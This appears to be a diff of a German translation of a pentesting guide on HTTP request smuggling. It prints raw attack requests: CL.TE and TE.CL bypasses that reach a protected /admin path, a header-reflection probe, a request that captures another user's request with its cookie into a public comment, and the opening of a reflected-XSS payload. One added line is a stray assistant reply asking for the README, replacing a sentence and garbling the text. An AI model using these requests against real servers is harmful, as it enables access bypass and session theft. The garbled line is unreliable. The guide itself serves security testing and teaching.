-- Senden Sie eine Anfrage, die, falls die Anwendung anfällig ist, den Backend-Server dazu bringt, auf zusätzliche Daten zu warten.
+- Sende einen Request, der — falls die Anwendung verwundbar ist — dazu führt, dass der Back-end-Server auf zusätzliche Daten wartet.
 - **Beispiel:**
 
 ```
@@ -249,41 +251,41 @@ X
 ```
 
 - **Beobachtung:**
-- Der Frontend-Server verarbeitet die Anfrage basierend auf `Transfer-Encoding` und leitet die gesamte Nachricht weiter.
-- Der Backend-Server, der eine Nachricht basierend auf `Content-Length` erwartet, wartet auf zusätzliche Daten, die nie ankommen, was zu einer Verzögerung führt.
+- Der Front-end-Server verarbeitet die Anfrage basierend auf `Transfer-Encoding` und leitet die gesamte Nachricht weiter.
+- Der Back-end-Server, der eine Nachricht basierend auf `Content-Length` erwartet, wartet auf zusätzliche Daten, die nie eintreffen, was zu einer Verzögerung führt.
 
-### Andere Methoden zur Auffindung von Schwachstellen
+### Weitere Methoden zum Auffinden von Schwachstellen
 
-- **Differential Response Analysis:**
-- Senden Sie leicht variierte Versionen einer Anfrage und beobachten Sie, ob die Serverantworten auf unerwartete Weise abweichen, was auf eine Parsing-Diskrepanz hinweist.
-- **Verwendung automatisierter Tools:**
-- Tools wie die 'HTTP Request Smuggler'-Erweiterung von Burp Suite können automatisch auf diese Schwachstellen testen, indem sie verschiedene Formen von mehrdeutigen Anfragen senden und die Antworten analysieren.
-- **Content-Length-Varianz-Tests:**
-- Senden Sie Anfragen mit variierenden `Content-Length`-Werten, die nicht mit der tatsächlichen Inhaltslänge übereinstimmen, und beobachten Sie, wie der Server mit solchen Abweichungen umgeht.
-- **Transfer-Encoding-Varianz-Tests:**
-- Senden Sie Anfragen mit obfuskierten oder fehlerhaften `Transfer-Encoding`-Headern und überwachen Sie, wie unterschiedlich die Frontend- und Backend-Server auf solche Manipulationen reagieren.
+- **Differenzielle Antwortanalyse:**
+- Sende leicht veränderte Versionen einer Anfrage und beobachte, ob die Serverantworten unerwartet unterschiedlich ausfallen, was auf eine Parsing-Diskrepanz hinweist.
+- **Einsatz automatisierter Tools:**
+- Tools wie Burp Suite's 'HTTP Request Smuggler' extension können automatisch auf diese Schwachstellen testen, indem sie verschiedene Formen ambiger Requests senden und die Antworten analysieren.
+- **Tests mit variierendem Content-Length:**
+- Sende Requests mit unterschiedlichen `Content-Length`-Werten, die nicht mit der tatsächlichen Inhaltslänge übereinstimmen, und beobachte, wie der Server mit solchen Abweichungen umgeht.
+- **Tests mit variiertem Transfer-Encoding:**
+- Sende Requests mit obfuskierten oder fehlerhaften `Transfer-Encoding`-Headern und überwache, wie unterschiedlich Front-end- und Back-end-Server auf solche Manipulationen reagieren.
 
-### Testen von HTTP Request Smuggling-Schwachstellen
+### HTTP Request Smuggling Schwachstellen-Tests
 
-Nachdem die Wirksamkeit von Timing-Techniken bestätigt wurde, ist es entscheidend zu überprüfen, ob Client-Anfragen manipuliert werden können. Eine einfache Methode besteht darin, zu versuchen, Ihre Anfragen zu vergiften, indem Sie beispielsweise eine Anfrage an `/` senden, die eine 404-Antwort zurückgibt. Die zuvor besprochenen `CL.TE`- und `TE.CL`-Beispiele in [Basic Examples](#basic-examples) zeigen, wie man eine Client-Anfrage vergiftet, um eine 404-Antwort zu erhalten, obwohl der Client auf eine andere Ressource zugreifen möchte.
+Nachdem die Wirksamkeit der Timing-Techniken bestätigt wurde, ist es wichtig zu prüfen, ob Client-Requests manipuliert werden können. Eine einfache Methode besteht darin, zu versuchen, deine Requests zu vergiften, z. B. so dass ein Request an `/` eine 404-Antwort erzeugt. Die CL.TE- und TE.CL-Beispiele, die zuvor in [Basic Examples](#basic-examples) diskutiert wurden, zeigen, wie man einen Client-Request vergiften kann, sodass eine 404-Antwort zurückkommt, obwohl der Client auf eine andere Ressource zugreifen wollte.
 
 **Wichtige Überlegungen**
 
-Beim Testen auf Request Smuggling-Schwachstellen durch Störung anderer Anfragen sollten Sie Folgendes beachten:
+Beim Testen auf request smuggling-Schwachstellen durch Eingreifen in andere Requests beachte:
 
-- **Getrennte Netzwerkverbindungen:** Die "Angriffs"- und "normalen" Anfragen sollten über separate Netzwerkverbindungen gesendet werden. Die Verwendung derselben Verbindung für beide validiert nicht das Vorhandensein der Schwachstelle.
-- **Konsistente URL und Parameter:** Versuchen Sie, identische URLs und Parameternamen für beide Anfragen zu verwenden. Moderne Anwendungen leiten Anfragen oft an spezifische Backend-Server basierend auf URL und Parametern weiter. Das Abgleichen dieser erhöht die Wahrscheinlichkeit, dass beide Anfragen vom selben Server verarbeitet werden, was eine Voraussetzung für einen erfolgreichen Angriff ist.
-- **Timing- und Rennbedingungen:** Die "normale" Anfrage, die dazu dient, Störungen durch die "Angriffs"-Anfrage zu erkennen, konkurriert mit anderen gleichzeitigen Anwendungsanfragen. Daher sollte die "normale" Anfrage sofort nach der "Angriffs"-Anfrage gesendet werden. Beschäftigte Anwendungen können mehrere Versuche erfordern, um eine schlüssige Bestätigung der Schwachstelle zu erhalten.
-- **Herausforderungen beim Lastenausgleich:** Frontend-Server, die als Lastenausgleicher fungieren, können Anfragen auf verschiedene Backend-Systeme verteilen. Wenn die "Angriffs"- und "normalen" Anfragen auf unterschiedlichen Systemen landen, wird der Angriff nicht erfolgreich sein. Dieser Aspekt des Lastenausgleichs kann mehrere Versuche erfordern, um eine Schwachstelle zu bestätigen.
-- **Unbeabsichtigte Auswirkungen auf Benutzer:** Wenn Ihr Angriff versehentlich die Anfrage eines anderen Benutzers beeinflusst (nicht die "normale" Anfrage, die Sie zur Erkennung gesendet haben), deutet dies darauf hin, dass Ihr Angriff einen anderen Anwendungsbenutzer beeinflusst hat. Kontinuierliches Testen könnte andere Benutzer stören, was einen vorsichtigen Ansatz erfordert.
+- **Getrennte Netzwerkverbindungen:** Die „attack“- und „normal“-Requests sollten über separate Netzwerkverbindungen gesendet werden. Die Verwendung derselben Verbindung für beide validiert nicht das Vorhandensein der Schwachstelle.
+- **Konsistente URL und Parameter:** Versuche, für beide Requests identische URLs und Parameternamen zu verwenden. Moderne Anwendungen routen Requests oft basierend auf URL und Parametern zu bestimmten Back-end-Servern. Übereinstimmung erhöht die Wahrscheinlichkeit, dass beide Requests vom selben Server verarbeitet werden — eine Voraussetzung für einen erfolgreichen Angriff.
+- **Timing und Race-Bedingungen:** Der „normale“ Request, der dazu dient, eine Beeinflussung durch den „attack“-Request zu erkennen, konkurriert mit anderen gleichzeitigen Anfragen der Anwendung. Sende den „normalen“ Request daher unmittelbar nach dem „attack“-Request. Bei stark ausgelasteten Anwendungen sind möglicherweise mehrere Versuche nötig, um die Verwundbarkeit zweifelsfrei zu bestätigen.
+- **Load-Balancing-Herausforderungen:** Front-end-Server, die als Load Balancer fungieren, können Requests auf unterschiedliche Back-end-Systeme verteilen. Wenn der „attack“- und der „normale“-Request auf unterschiedlichen Systemen landen, schlägt der Angriff fehl. Dieser Aspekt des Load Balancing kann mehrere Versuche erfordern, um eine Verwundbarkeit zu bestätigen.
+- **Unbeabsichtigte Auswirkungen auf andere Benutzer:** Wenn dein Angriff versehentlich die Anfrage eines anderen Benutzers (nicht den von dir gesendeten „normalen“ Request) beeinflusst, zeigt das, dass dein Angriff eine andere Anwendungssitzung beeinflusst hat. Fortgesetzte Tests könnten andere Benutzer stören; handle daher vorsichtig.
 
-## Unterscheidung zwischen HTTP/1.1-Pipelining-Artefakten und echtem Request Smuggling
+## HTTP/1.1-Pipelining-Artefakte von echtem request smuggling unterscheiden
 
-Die Wiederverwendung von Verbindungen (keep-alive) und Pipelining kann leicht Illusionen von "Smuggling" in Testtools erzeugen, die mehrere Anfragen über dasselbe Socket senden. Lernen Sie, harmlose clientseitige Artefakte von echten serverseitigen Desynchronisationen zu unterscheiden.
+Connection reuse (keep-alive) und pipelining können in Test-Tools, die mehrere Requests über dieselbe Socket-Verbindung senden, leicht den Eindruck von „smuggling“ erzeugen. Lerne, harmlose clientseitige Artefakte von echten serverseitigen Desynchronisationen zu unterscheiden.
 
-### Warum Pipelining klassische falsch-positive Ergebnisse erzeugt
+### Warum Pipelining klassische False Positives erzeugt
 
-HTTP/1.1 verwendet eine einzige TCP/TLS-Verbindung und verknüpft Anfragen und Antworten im selben Stream. Beim Pipelining sendet der Client mehrere Anfragen hintereinander und verlässt sich auf in der Reihenfolge eintreffende Antworten. Ein häufiges falsch-positives Ergebnis ist das zweimalige Senden einer fehlerhaften CL.0-ähnlichen Nutzlast über eine einzige Verbindung:
+HTTP/1.1 verwendet eine einzige TCP/TLS-Verbindung und fügt Requests und Responses in denselben Stream ein. Beim Pipelining sendet der Client mehrere Requests hintereinander und erwartet Antworten in der gleichen Reihenfolge. Ein häufiger False Positive entsteht, wenn man ein fehlerhaftes CL.0-artiges Payload zweimal über dieselbe Verbindung abschickt:
 ```
 POST / HTTP/1.1
 Host: hackxor.net
@@ -292,7 +294,7 @@ Content_Length: 47
 GET /robots.txt HTTP/1.1
 X: Y
 ```
-Antworten können wie folgt aussehen:
+Bitte füge den Inhalt von src/pentesting-web/http-request-smuggling/README.md hier ein. Ich werde den relevanten englischen Text ins Deutsche übersetzen und dabei Markdown/HTML-Tags, Links, Pfade, Code und spezielle Begriffe unverändert lassen, wie du angefordert hast.
 ```
 HTTP/1.1 200 OK
 Content-Type: text/html
@@ -306,7 +308,7 @@ Content-Type: text/plain
 User-agent: *
 Disallow: /settings
 ```
-Wenn der Server die fehlerhafte `Content_Length` ignorierte, gibt es keine FE↔BE-Desynchronisation. Bei der Wiederverwendung hat Ihr Client tatsächlich diesen Byte-Stream gesendet, den der Server als zwei unabhängige Anfragen interpretiert hat:
+Wenn der Server das fehlerhafte `Content_Length` ignorierte, gibt es keine FE↔BE desync. Bei Reuse hat Ihr Client tatsächlich diesen byte-stream gesendet, den der Server als zwei unabhängige requests geparst hat:
 ```
 POST / HTTP/1.1
 Host: hackxor.net
@@ -320,76 +322,76 @@ Content_Length: 47
 GET /robots.txt HTTP/1.1
 X: Y
 ```
-Impact: keine. Sie haben lediglich Ihren Client vom Server-Framework desynchronisiert.
+Auswirkung: keine. Du hast nur deinen Client vom Server‑Framing desynced.
 
 > [!TIP]
-> Burp-Module, die von Wiederverwendung/Pipelining abhängen: Turbo Intruder mit `requestsPerConnection>1`, Intruder mit "HTTP/1-Verbindungswiederverwendung", Repeater "Gruppe in Reihenfolge senden (einzelne Verbindung)" oder "Verbindungswiederverwendung aktivieren".
+> Burp-Module, die von reuse/pipelining abhängen: Turbo Intruder mit `requestsPerConnection>1`, Intruder mit "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" oder "Enable connection reuse".
 
-### Litmus-Tests: Pipelining oder echte Desynchronisation?
+### Litmus-Tests: pipelining oder echte desync?
 
-1. Wiederverwendung deaktivieren und erneut testen
-- In Burp Intruder/Repeater, HTTP/1-Wiederverwendung ausschalten und "Gruppe in Reihenfolge senden" vermeiden.
-- In Turbo Intruder, `requestsPerConnection=1` setzen und `pipeline=False`.
-- Wenn das Verhalten verschwindet, war es wahrscheinlich clientseitiges Pipelining, es sei denn, Sie haben es mit verbindungsgesperrten/stateful Zielen oder clientseitiger Desynchronisation zu tun.
-2. HTTP/2-Nested-Response-Check
-- Senden Sie eine HTTP/2-Anfrage. Wenn der Antwortkörper eine vollständige verschachtelte HTTP/1-Antwort enthält, haben Sie einen Backend-Parsing/Desynchronisationsfehler nachgewiesen, anstatt ein reines Client-Artefakt.
-3. Partial-Requests-Überprüfung für verbindungsgesperrte Front-Ends
-- Einige FEs verwenden die upstream BE-Verbindung nur wieder, wenn der Client seine wiederverwendet hat. Verwenden Sie Partial-Requests, um das FE-Verhalten zu erkennen, das die Client-Wiederverwendung widerspiegelt.
-- Siehe PortSwigger "Browser‑Powered Desync Attacks" für die verbindungsgesperrte Technik.
-4. Status-Überprüfungen
-- Suchen Sie nach Unterschieden zwischen der ersten und den nachfolgenden Anfragen über dieselbe TCP-Verbindung (Routing/Validierung der ersten Anfrage).
-- Burp "HTTP Request Smuggler" enthält eine Verbindungsstatus-Überprüfung, die dies automatisiert.
-5. Visualisieren Sie die Verbindung
-- Verwenden Sie die Burp "HTTP Hacker"-Erweiterung, um die Verkettung und das Nachrichten-Framework direkt zu inspizieren, während Sie mit Wiederverwendung und Partial Requests experimentieren.
+1. Disable reuse and re-test
+- In Burp Intruder/Repeater: HTTP/1 reuse ausschalten und "Send group in sequence" vermeiden.
+- In Turbo Intruder `requestsPerConnection=1` und `pipeline=False` setzen.
+- Wenn das Verhalten verschwindet, war es wahrscheinlich client-side pipelining, es sei denn, du hast es mit connection-locked/stateful Targets oder client-side desync zu tun.
+2. HTTP/2 nested-response check
+- Sende eine HTTP/2-Anfrage. Wenn der Response-Body eine vollständige verschachtelte HTTP/1-Antwort enthält, hast du einen Backend-Parsing-/desync-Bug bewiesen statt eines reinen Client-Artefakts.
+3. Partial-requests probe for connection-locked front-ends
+- Einige FEs reusen die upstream BE-Verbindung nur, wenn der Client seine wiederverwendet hat. Verwende partial-requests, um FE-Verhalten zu erkennen, das das Client-Reuse spiegelt.
+- Siehe PortSwigger "Browser‑Powered Desync Attacks" für die connection-locked Technik.
+4. State probes
+- Suche nach Unterschieden zwischen der ersten und nachfolgenden Anfrage auf derselben TCP-Verbindung (first-request routing/validation).
+- Burp "HTTP Request Smuggler" enthält eine connection‑state probe, die das automatisiert.
+5. Visualize the wire
+- Verwende die Burp-Erweiterung "HTTP Hacker", um Konkatenation und Message-Framing direkt zu inspizieren, während du mit Reuse und partial requests experimentierst.
 
-### Verbindungsgesperrtes Request Smuggling (Wiederverwendung erforderlich)
+### Connection‑locked request smuggling (reuse-required)
 
-Einige Front-Ends verwenden die upstream-Verbindung nur wieder, wenn der Client seine wiederverwendet. Echte Smuggling-Methoden existieren, sind jedoch von der clientseitigen Wiederverwendung abhängig. Um zu unterscheiden und den Einfluss nachzuweisen:
-- Beweisen Sie den serverseitigen Fehler
-- Verwenden Sie den HTTP/2-Nested-Response-Check oder
-- Verwenden Sie Partial-Requests, um zu zeigen, dass das FE nur upstream wiederverwendet, wenn der Client dies tut.
-- Zeigen Sie echten Einfluss, auch wenn direkter Missbrauch von Benutzer-Sockets blockiert ist:
-- Cache-Vergiftung: vergiften Sie gemeinsame Caches über die Desynchronisation, sodass Antworten andere Benutzer betreffen.
-- Offenlegung interner Header: spiegeln Sie FE-injizierte Header (z. B. Auth-/Trust-Header) und pivotieren Sie zu Auth-Bypass.
-- Umgehen von FE-Kontrollen: schmuggeln Sie eingeschränkte Pfade/Methoden am Front-End vorbei.
-- Missbrauch von Host-Headern: kombinieren Sie dies mit Routing-Anomalien von Hosts, um zu internen vHosts zu pivotieren.
-- Operator-Workflow
-- Reproduzieren Sie mit kontrollierter Wiederverwendung (Turbo Intruder `requestsPerConnection=2` oder Burp Repeater Tab-Gruppe → "Gruppe in Reihenfolge senden (einzelne Verbindung)").
-- Ketten Sie dann zu Cache/Header-Leak/Control-Bypass-Primitiven und demonstrieren Sie den Einfluss auf Benutzer oder Autorisierung.
+Einige Front‑Ends (FEs) nutzen die upstream-Verbindung nur wieder, wenn der Client seine wiederverwendet. Echtes smuggling existiert, ist aber abhängig vom client-side reuse. Um zu unterscheiden und den Impact nachzuweisen:
+- Beweise den server-side Bug
+- Nutze den HTTP/2 nested-response check, oder
+- Verwende partial-requests, um zu zeigen, dass das FE upstream nur dann wiederverwendet, wenn der Client es tut.
+- Zeige echten Impact, auch wenn direkter cross-user socket Missbrauch blockiert ist:
+- Cache poisoning: gemeinsame Caches via desync vergiften, sodass Responses andere Nutzer betreffen.
+- Internal header disclosure: FE-injizierte Header (z. B. auth/trust headers) spiegeln und zu auth bypass pivotieren.
+- Bypass FE controls: eingeschränkte Pfade/Methoden am Front‑End vorbeischmuggeln.
+- Host-header abuse: mit Host-Routing-Quirks kombinieren, um auf interne vhosts zu pivotieren.
+- Operator workflow
+- Reproduziere mit kontrolliertem Reuse (Turbo Intruder `requestsPerConnection=2`, oder Burp Repeater tab group → "Send group in sequence (single connection)").
+- Dann kette zu cache/header-leak/control-bypass primitives und demonstriere Cross‑User- oder authorization-Impact.
 
-> Siehe auch Verbindungsstatusangriffe, die eng verwandt sind, aber technisch kein Smuggling sind:
+> See also connection‑state attacks, which are closely related but not technically smuggling:
 >
 >{{#ref}}
 >../http-connection-request-smuggling.md
 >{{#endref}}
 
-### Clientseitige Desynchronisationsbeschränkungen
+### Client‑side desync constraints
 
-Wenn Sie browsergestützte/clientseitige Desynchronisation anvisieren, muss die bösartige Anfrage von einem Browser cross-origin sendbar sein. Header-Verschleierungstricks funktionieren nicht. Konzentrieren Sie sich auf Primitiven, die über Navigation/Fetch erreichbar sind, und pivotieren Sie dann zu Cache-Vergiftung, Header-Offenlegung oder Umgehung von Front-End-Kontrollen, wo nachgelagerte Komponenten Antworten widerspiegeln oder cachen.
+Wenn du browser-powered/client-side desync ins Visier nimmst, muss die bösartige Anfrage von einem Browser cross-origin sendbar sein. Header-obfuscation-Tricks funktionieren nicht. Konzentriere dich auf Primitives, die via navigation/fetch erreichbar sind, und pivotiere dann zu cache poisoning, header disclosure oder Front‑End‑Control-Bypass, wo nachgelagerte Komponenten Responses reflektieren oder cachen.
 
-Für Hintergrundinformationen und End-to-End-Workflows:
+Für Hintergrund und End-to-End-Workflows:
 
 {{#ref}}
 browser-http-request-smuggling.md
 {{#endref}}
 
-### Werkzeuge zur Entscheidungsfindung
+### Tooling to help decide
 
-- HTTP Hacker (Burp BApp Store): zeigt niedrigstufiges HTTP-Verhalten und Socket-Verkettung an.
-- "Smuggling oder Pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
-- Turbo Intruder: präzise Kontrolle über die Verbindungswiederverwendung über `requestsPerConnection`.
-- Burp HTTP Request Smuggler: enthält eine Verbindungsstatus-Überprüfung, um das Routing/Validierung der ersten Anfrage zu erkennen.
+- HTTP Hacker (Burp BApp Store): zeigt low-level HTTP-Verhalten und Socket-Konkatenation.
+- "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
+- Turbo Intruder: präzise Kontrolle über connection reuse via `requestsPerConnection`.
+- Burp HTTP Request Smuggler: enthält eine connection‑state probe, um first‑request routing/validation zu erkennen.
 
 > [!NOTE]
-> Behandeln Sie nur-Wiederverwendungseffekte als keine Probleme, es sei denn, Sie können serverseitige Desynchronisation nachweisen und konkreten Einfluss (vergiftetes Cache-Artefakt, offengelegter interner Header, der Privilegienumgehung ermöglicht, umgangene FE-Kontrolle usw.) anhängen.
+> Behandle reuse-only Effekte als unproblematisch, es sei denn, du kannst server-side desync nachweisen und einen konkreten Impact beifügen (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, etc.).
 
 ## Missbrauch von HTTP Request Smuggling
 
-### Umgehung der Front-End-Sicherheit über HTTP Request Smuggling
+### Umgehung von Front‑End‑Sicherheit mittels HTTP Request Smuggling
 
-Manchmal setzen Front-End-Proxys Sicherheitsmaßnahmen durch und überprüfen eingehende Anfragen. Diese Maßnahmen können jedoch umgangen werden, indem HTTP Request Smuggling ausgenutzt wird, was unbefugten Zugriff auf eingeschränkte Endpunkte ermöglicht. Zum Beispiel könnte der Zugriff auf `/admin` extern verboten sein, wobei der Front-End-Proxy solche Versuche aktiv blockiert. Dennoch könnte dieser Proxy es versäumen, eingebettete Anfragen innerhalb einer geschmuggelten HTTP-Anfrage zu überprüfen, was eine Lücke zum Umgehen dieser Einschränkungen lässt.
+Manchmal erzwingen Front‑End‑Proxies Sicherheitsmaßnahmen und prüfen eingehende Requests genau. Diese Maßnahmen können jedoch durch Ausnutzung von HTTP Request Smuggling umgangen werden, was unautorisierten Zugriff auf geschützte Endpunkte erlaubt. Zum Beispiel kann der Zugriff auf `/admin` extern verboten sein, wobei das Front‑End‑Proxy solche Versuche aktiv blockiert. Dennoch kann dieses Proxy es versäumen, eingebettete Requests innerhalb einer geschmuggelten HTTP-Anfrage zu inspizieren, wodurch eine Lücke zum Umgehen dieser Beschränkungen entsteht.
 
-Betrachten Sie die folgenden Beispiele, die veranschaulichen, wie HTTP Request Smuggling verwendet werden kann, um Front-End-Sicherheitskontrollen zu umgehen, insbesondere den `/admin`-Pfad, der typischerweise vom Front-End-Proxy geschützt wird:
+Betrachte die folgenden Beispiele, die zeigen, wie HTTP Request Smuggling verwendet werden kann, um Front‑End‑Sicherheitskontrollen zu umgehen, insbesondere mit dem Zielpfad `/admin`, der typischerweise vom Front‑End‑Proxy geschützt wird:
 
 **CL.TE Beispiel**
 ```
@@ -408,9 +410,9 @@ Content-Length: 10
 
 x=
 ```
-Im CL.TE-Angriff wird der `Content-Length`-Header für die ursprüngliche Anfrage verwendet, während die nachfolgende eingebettete Anfrage den `Transfer-Encoding: chunked`-Header nutzt. Der Front-End-Proxy verarbeitet die ursprüngliche `POST`-Anfrage, übersieht jedoch die eingebettete `GET /admin`-Anfrage, was unbefugten Zugriff auf den `/admin`-Pfad ermöglicht.
+In the CL.TE attack wird der `Content-Length` Header für die initiale Anfrage ausgenutzt, während die anschließende eingebettete Anfrage den `Transfer-Encoding: chunked` Header verwendet. Der front-end proxy verarbeitet die initiale `POST` Anfrage, prüft jedoch nicht die eingebettete `GET /admin` Anfrage, wodurch unautorisierter Zugriff auf den Pfad `/admin` möglich wird.
 
-**TE.CL Beispiel**
+**TE.CL Example**
 ```
 POST / HTTP/1.1
 Host: [redacted].web-security-academy.net
@@ -426,13 +428,13 @@ a=x
 0
 
 ```
-Im Gegensatz dazu verwendet der TE.CL-Angriff die anfängliche `POST`-Anfrage mit `Transfer-Encoding: chunked`, und die nachfolgende eingebettete Anfrage wird basierend auf dem `Content-Length`-Header verarbeitet. Ähnlich wie beim CL.TE-Angriff übersieht der Front-End-Proxy die geschmuggelte `GET /admin`-Anfrage und gewährt versehentlich Zugriff auf den eingeschränkten `/admin`-Pfad.
+Umgekehrt verwendet beim TE.CL-Angriff die initiale `POST`-Anfrage `Transfer-Encoding: chunked`, und die nachfolgende eingebettete Anfrage wird anhand des `Content-Length`-Headers verarbeitet. Ähnlich wie beim CL.TE-Angriff übersieht der Front-End-Proxy die geschmuggelte `GET /admin`-Anfrage und gewährt dadurch unbeabsichtigt Zugriff auf den geschützten Pfad `/admin`.
 
-### Offenlegung der Umformung von Front-End-Anfragen <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
+### Aufdecken der Front-End-Anfrageumschreibung <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
 
-Anwendungen verwenden häufig einen **Front-End-Server**, um eingehende Anfragen zu modifizieren, bevor sie an den Back-End-Server weitergeleitet werden. Eine typische Modifikation besteht darin, Header hinzuzufügen, wie z.B. `X-Forwarded-For: <IP des Clients>`, um die IP des Clients an das Back-End weiterzuleiten. Das Verständnis dieser Modifikationen kann entscheidend sein, da es Möglichkeiten offenbaren könnte, **Schutzmaßnahmen zu umgehen** oder **verborgene Informationen oder Endpunkte aufzudecken**.
+Anwendungen setzen häufig einen **Front-End-Server** ein, um eingehende Anfragen zu verändern, bevor sie an den Back-End-Server weitergeleitet werden. Eine typische Änderung besteht darin, Header hinzuzufügen, wie etwa `X-Forwarded-For: <IP of the client>`, um die IP des Clients an das Back-End weiterzugeben. Das Verständnis dieser Änderungen kann entscheidend sein, da es Möglichkeiten aufdecken kann, Schutzmechanismen zu **umgehen** oder **versteckte Informationen oder Endpunkte** zu **offenbaren**.
 
-Um zu untersuchen, wie ein Proxy eine Anfrage ändert, finden Sie einen POST-Parameter, den das Back-End in der Antwort zurückgibt. Erstellen Sie dann eine Anfrage, bei der dieser Parameter zuletzt verwendet wird, ähnlich wie im Folgenden:
+Um zu untersuchen, wie ein Proxy eine Anfrage verändert, finden Sie einen POST-Parameter, den das Back-End in der Antwort zurückgibt. Erstellen Sie dann eine Anfrage, bei der Sie diesen Parameter zuletzt verwenden, ähnlich der folgenden:
 ```
 POST / HTTP/1.1
 Host: vulnerable-website.com
@@ -449,19 +451,19 @@ Content-Length: 100
 
 search=
 ```
-In dieser Struktur werden die nachfolgenden Anfragekomponenten nach `search=` angehängt, was der Parameter ist, der in der Antwort reflektiert wird. Diese Reflexion wird die Header der nachfolgenden Anfrage offenbaren.
+In dieser Struktur werden nachfolgende request-Komponenten an `search=` angehängt, welcher Parameter in der response reflektiert wird. Diese Reflektion wird die headers der nachfolgenden request offenlegen.
 
-Es ist wichtig, den `Content-Length` Header der geschachtelten Anfrage mit der tatsächlichen Inhaltslänge abzugleichen. Es ist ratsam, mit einem kleinen Wert zu beginnen und schrittweise zu erhöhen, da ein zu niedriger Wert die reflektierten Daten abschneiden kann, während ein zu hoher Wert dazu führen kann, dass die Anfrage fehlschlägt.
+Es ist wichtig, den `Content-Length` header der verschachtelten request mit der tatsächlichen Inhaltslänge abzugleichen. Es empfiehlt sich, mit einem kleinen Wert zu beginnen und schrittweise zu erhöhen, da ein zu niedriger Wert die reflektierten Daten abschneiden wird, während ein zu hoher Wert die request fehlschlagen lassen kann.
 
-Diese Technik ist auch im Kontext einer TE.CL-Schwachstelle anwendbar, aber die Anfrage sollte mit `search=\r\n0` enden. Unabhängig von den Zeilenumbruchzeichen werden die Werte an den Suchparameter angehängt.
+Diese Technik ist auch im Kontext einer TE.CL vulnerability anwendbar, aber die request sollte mit `search=\r\n0` terminiert werden. Unabhängig von den Newline-Zeichen werden die Werte an das search-Parameter angehängt.
 
-Diese Methode dient hauptsächlich dazu, die Anfrageänderungen zu verstehen, die vom Front-End-Proxy vorgenommen werden, und führt im Wesentlichen eine selbstgesteuerte Untersuchung durch.
+Diese Methode dient hauptsächlich dazu, die von dem front-end proxy vorgenommenen request-Änderungen zu verstehen und damit im Grunde eine selbstgeleitete Untersuchung durchzuführen.
 
 ### Capturing other users' requests <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
 
-Es ist möglich, die Anfragen des nächsten Benutzers zu erfassen, indem eine spezifische Anfrage als Wert eines Parameters während einer POST-Operation angehängt wird. So kann dies erreicht werden:
+Es ist möglich, die requests des nächsten Benutzers zu erfassen, indem man während eines POSTs eine bestimmte request als Wert eines Parameters anhängt. So kann das erreicht werden:
 
-Indem Sie die folgende Anfrage als Wert eines Parameters anhängen, können Sie die Anfrage des nachfolgenden Clients speichern:
+Indem man die folgende request als Wert eines Parameters anhängt, kann man die anschließende client request speichern:
 ```
 POST / HTTP/1.1
 Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
@@ -481,20 +483,20 @@ Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
 
 csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
 ```
-In diesem Szenario ist der **Kommentarparameter** dazu gedacht, die Inhalte im Kommentarbereich eines Beitrags auf einer öffentlich zugänglichen Seite zu speichern. Folglich erscheinen die Inhalte der nachfolgenden Anfrage als Kommentar.
+In diesem Szenario ist der **Kommentar-Parameter** dafür vorgesehen, den Inhalt des Kommentarbereichs eines Posts auf einer öffentlich zugänglichen Seite zu speichern. Folglich erscheinen die Inhalte der anschließenden Anfrage als Kommentar.
 
-Diese Technik hat jedoch Einschränkungen. Im Allgemeinen erfasst sie Daten nur bis zum Parameter-Trennzeichen, das in der geschmuggelten Anfrage verwendet wird. Bei URL-kodierten Formularübertragungen ist dieses Trennzeichen das `&`-Zeichen. Das bedeutet, dass der erfasste Inhalt aus der Anfrage des Opfers beim ersten `&` stoppt, das möglicherweise sogar Teil der Abfragezeichenfolge ist.
+Diese Technik hat jedoch Einschränkungen. Im Allgemeinen erfasst sie Daten nur bis zum Parametertrennzeichen, das in der geschmuggelten Anfrage verwendet wird. Bei URL-kodierten Formularübermittlungen ist dieses Trennzeichen das Zeichen `&`. Das bedeutet, dass der erfasste Inhalt aus der Anfrage des betroffenen Nutzers am ersten `&` endet, das sogar Teil des Query-Strings sein kann.
 
-Darüber hinaus ist es erwähnenswert, dass dieser Ansatz auch bei einer TE.CL-Schwachstelle anwendbar ist. In solchen Fällen sollte die Anfrage mit `search=\r\n0` enden. Unabhängig von Zeilenumbruchzeichen werden die Werte an den Suchparameter angehängt.
+Außerdem ist erwähnenswert, dass dieser Ansatz auch bei einer TE.CL-Schwachstelle funktioniert. In solchen Fällen sollte die Anfrage mit `search=\r\n0` enden. Unabhängig von Newline-Zeichen werden die Werte an den search-Parameter angehängt.
 
-### Verwendung von HTTP-Request-Smuggling zur Ausnutzung von reflektiertem XSS
+### Verwendung von HTTP request smuggling zum Ausnutzen von Reflected XSS
 
-HTTP Request Smuggling kann genutzt werden, um Webseiten auszunutzen, die anfällig für **reflektiertes XSS** sind, und bietet erhebliche Vorteile:
+HTTP Request Smuggling kann eingesetzt werden, um Webseiten mit einer Verwundbarkeit gegenüber **Reflected XSS** auszunutzen. Das bietet bedeutende Vorteile:
 
-- Die Interaktion mit den Zielbenutzern ist **nicht erforderlich**.
-- Ermöglicht die Ausnutzung von XSS in Teilen der Anfrage, die **normalerweise unerreichbar** sind, wie HTTP-Anforderungsheader.
+- Eine Interaktion mit den Zielnutzern ist **nicht erforderlich**.
+- Ermöglicht die Ausnutzung von XSS in Teilen der Anfrage, die **normalerweise nicht zugänglich** sind, wie z. B. HTTP request headers.
 
-In Szenarien, in denen eine Website anfällig für reflektiertes XSS über den User-Agent-Header ist, zeigt die folgende Payload, wie man diese Schwachstelle ausnutzen kann:
+In Szenarien, in denen eine Website gegenüber Reflected XSS über den User-Agent header verwundbar ist, zeigt das folgende payload, wie diese Schwachstelle ausgenutzt werden kann:
 ```
 POST / HTTP/1.1
